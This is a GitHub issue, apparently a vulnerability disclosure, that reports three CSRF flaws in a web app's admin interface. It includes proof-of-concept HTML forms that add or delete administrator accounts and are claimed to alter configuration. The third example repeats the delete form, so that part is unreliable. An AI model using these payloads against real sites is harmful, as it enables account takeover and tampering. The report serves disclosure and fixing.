New issue

Jump to bottom

There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration. #352

Open **piaolin** opened this issue on Jul 27, 2020 · 0 comments

piaolin commented on Jul 27, 2020

After the administrator logged in, open the following three pages:

1. add_admin.html

Add a administrator.

```
<html>
  <body>
    <form action="http://localhost:8888/admin/configure/users" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="email" value="321@com" />
      <input type="hidden" name="password" value="321" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

2. delete_admin.html

Delete a administrator use username(email), and the param 'id' is not useful, you can delete any user you think username(email).

```
<html>
  <body>
    <form action="http://10.157.41.81:8888/admin/configure/users/delete" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="email" value="321@qq.com" />
      <input type="hidden" name="id" value="80" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

3. configure.html

It can edit configure, example:

1. Change HTTP Basic Auth User&Password to download a backup of your data via HTTP.

2. Change administrator email and used with add_admin.html.

3. Change Client Secret which is used to validate requests.

```
<html>
  <body>
    <form action="http://10.157.41.81:8888/admin/configure/users/delete" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="email" value="321@qq.com" />
      <input type="hidden" name="id" value="80" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

👍 2

piaolin changed the title ~~There is three CSRF vulnerability that can add the administrator account~~ There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration. on Jul 27, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant